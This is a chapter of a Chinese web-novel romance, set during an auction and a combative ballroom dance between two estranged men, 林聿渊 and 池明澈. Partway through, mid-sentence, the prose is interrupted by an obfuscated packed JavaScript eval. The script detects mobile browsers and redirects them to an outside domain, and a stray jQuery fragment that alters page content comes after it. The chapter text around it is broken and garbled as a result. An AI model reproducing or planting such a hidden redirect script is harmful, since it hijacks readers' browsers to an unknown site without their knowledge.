3. 酒渍满月
    林聿渊站起来,走到1号厢的旋转围栏边。

    所有人都紧张得要命,紧紧盯着他的动作,刀疤脸恨不得把池明澈塞回娘胎藏起来。

    “这可是金程庄园,我警告你、你你可别乱来!”

    林聿渊转过头,目光射向陈彰,这个贵宾厢的一切都熠熠生辉,吊顶水晶灯独自摇晃,华美而冰冷,晶莹璀璨地映在金顶之首冥黯的眼底。

    陈儆晖清晰地听到,自己说一不二的父亲,吞咽口水的声音。

    林聿渊神情平静,收回视线,随后遽然,一个翻身跨过旋转台,一跃而下——

    尖叫、人群奔走声,隐秘的摄像光……拍卖场乱成一团。

    林聿渊恍若未察。

    落地的震颤,甚至像是天外的声音,在他耳边重重地一敲,分不清是身体还在适应减震还是躯体化反应。

    就在这时空静止的片刻,一个场景不合时宜闯进脑子。

    他孤身吊在悬崖边,眼前是夹在两道险峰里,凄厉又绮丽的残阳泣血,竭力打挺向上翻跃中,险伶伶地握住一只伸向他的手。

    这个画面之后,一连串的“他怎么会在这”“什么时候回来的”“怎么……不联系我呢”才浪头似的打过来,铺天盖地。

    *

    拍卖会后紧接舞会,众人猜测林聿渊不会再来。

    “吓人……听说是很疯,没想到这么疯……”

    “那个高台,就直接跳了……”

    “脖子下还有根针,真不怕……”

    “……还会来舞会么?”

    “不可能啦,拍卖会有……东西,舞会有什么?”

    “还以为能敬个酒呢。”

    “可别了,你脑子坏掉了么,他超级讨厌酒味啊……”

    忽然,刀疤脸喝了口酒,“噗”地全喷出来,舞厅里涌动的名流们就像让一个无形的大榔头敲晕了似的,集体懵在原地,整个舞厅鸦雀无声。

    林聿渊皱眉扫视一圈怔愣的鸦雀们,藏在白手套里的的手顿时攥成拳——

    池明澈朝他走来,端了杯酒,带着熟悉的笑意。

    林聿渊就没见过池明澈不笑的时候,这小子自小就长得讨巧,脸上的肉不多不少,多一分太润,少一分又太锐,自然上翘的嘴角让他时刻显得神采飞扬。

    现在也没什么变化,依旧神采飞扬,依旧清亮跳脱,就好像横亘的四年光阴并不存在似的。

    但林聿渊却隐隐感到不太对劲。

    池明澈放下手里的酒杯,很轻盈地到他跟前,领口蔓延到胸膛的宫廷褶荡开丝滑的弧度,有轻爽的柑橘香萦绕过来,随之划出来的还有一节银链。

    银链反光,林聿渊忽然觉得眼睛有些刺痛。

    直到听到酒杯轻磕甜品台的声音,林聿渊始终提着的那口气终于顺着气管落回肺里,他想说话,刚要张嘴——

    视线里柔软的圆头皮鞋却轻轻打了个旋,转向他的右侧,又向前迈了一步。

    “能和我跳支舞吗,小姐?”

    他听到自己的骨节发出一声不堪重负的闷响。

    电光火石,泼洒的碎金箔还散在空中没落地,林聿渊已经截住了那双伸出的手。

    “行吧,”池明澈一怔,挑了挑眉,边抽手边对林聿渊身侧人歉意笑道:“不能邀请你了,很遗憾,手不干净,或许可以等我一会洗洗手?”

    攥着他的手陡然一紧,隔着薄薄的手套也能感觉到那双手温度不太人类。

    池明澈皱眉,想松开,却感觉那双镣铐一样的手越收越紧,好像要嵌进肉里。

    林聿渊单手钳着他,牙尖一叼撕下手套,像一只讲究用餐礼仪的豹子剥掉猎物的皮,做出了应邀的动作。

    这个过程中,他目光一丝不错地浇筑在池明澈脸上。

    方才的闪躲错觉一般灰飞烟灭,属于林聿渊的压迫感扑面而来。

    池明澈喉头一滚,动作和想法一并忘了,一只手被人拽着,另一只还乖顺地垂在腿边,松了劲站在原地。

    林聿渊一把将他拉近,语气恶劣:“怎么,不敢?”

    池明澈的回应是偏头避开他吹过来的气,垂着的手一勾,那杯放下的酒又回到手里。

    林聿渊怪毛病一堆,自己烟酒俱全,但是闻不得别人身上有烟酒气,池明澈相当清楚,他养成不沾烟酒的好习惯还是托这位严兄的福。

    曾经引以为傲,现在倒成了件趁手的兵器。

    杯底斜抵住林聿渊迫近的前襟,色泽稠丽的酒液摇荡在接驳的白色布料之间,打在他耳侧游刃有余的呼吸倏地顿住了。

    兵不血刃,池明澈满意地想。

    然而池明澈的恶劣就像杯子里的红酒,一杯子不满半杯子晃荡,半靠酝酿半靠装。林聿渊的恶劣却是炉火纯青技术娴熟,根本是娘胎里带的,跟他耍混,只能剥皮见肉看到他内里不是东西的真面目。

    林聿渊的呼吸只顿了一瞬,很快池明澈拿酒杯的手也被他擒住,被不容抗拒地拉高、倾斜,送到他嘴边,就势一抿唇,再喷出来的呼吸就带了酒气。

    灯影摇曳,人影重叠,金黄的球形吊灯宛如一轮浸在杯中的满月,酒渍月亮砸昏了头,这酒度数恐怕不低。

    池明澈一仰头把剩下的红汤灌了,随后一言不发地打掉那只手,在它紧迎上来时,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048585|148979||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一把扯掉另一只早看不顺眼的手套。

    多半是曲子选得不好,明明是华尔兹,鼓点却像惊雷炸膛,枪管是胸膛。

    林聿渊不多见别人跳舞,想来是一步一缱绻,反正不能是他们这样,干架似的,腿打膝盖骨,

    肌肉和韧带有些别扭,他几乎跟不上动作,稍一恍惚就被夺了主动权,池明澈用劲极狠,几乎把他飞出去。

    这小子变态发育了吗,林聿渊面无表情地想。

    他的视线落在池明澈脸上,觉得自己是和傻子做密接给干扰脑残了,才会觉得这小子没变。

    池明澈不知道是瘦削了还是长开了,五官立体得几乎凌厉,曾经脸上薄薄的婴儿肥所剩无几,露出下面包裹的骨感线条,染了橘色的发尾扫在肩上,更显清落。

    还有眼睛,清澈,剔透,眼角下垂出无辜的弧度,好像和当年别无二致。

    ……狗屁的别无二致。

    林聿渊知道了这坑哥的违和感是哪来的了,根本不是源自记忆——而是,他的心往胃里沉去——而是源自镜子。

    他像的分明是现在的自己。

    下个动作该是转步,池明澈手微微一松,像扯了埋在他胸口的一根线,丝丝拉拉地疼,他想也不想扣了上去,磁吸盖一样,两人胯骨毫无保留地撞在一起。

    舞池里金光碎绚,地板嵌了金箔,在上面旋转,给人一种掉进星星窝里的错觉,周围依稀有人声,有风声,有乐声,像是隔了亿万光年。

    混账东西,林聿渊头晕目眩地暗骂,好像不是他自己撞上去的一样。

    面前人的脸在眩晕里放大,他突然皱眉。

    他在相当长的年份里和池明澈同步生长,长久地保持15厘米的身高差。

    池明澈眉尖有两颗颜色浅淡的小红痣,凑得极近,连在一块成个圆润的心形。位置长得也巧,只能从一个高出15厘米的仰角才能看分明,挨得稍远看不着,高出太多看不着,平视和矮了也看不着。

    15厘米的身高差不是牢不可破的,就像现在,他们眉对着眉,眼对着眼,交错的呼吸织成网,转错一个身就能喜提一台面部接骨手术……

    可是他看不到那颗隐秘的小红心了。

    “回国为什么不告诉我?”林聿渊突然出声。

    池明澈没吭声,缓慢地眨了次眼。

    林聿渊怀疑他没问出声,刚想重复一遍,池明澈拍他后颈:“转身。”

    好吧,这支该死的舞还在继续。

    他转过身去,七荤八素地兜了一圈。

    热气侵染耳根,池明澈的声音很低,他说:

    “你谁啊?”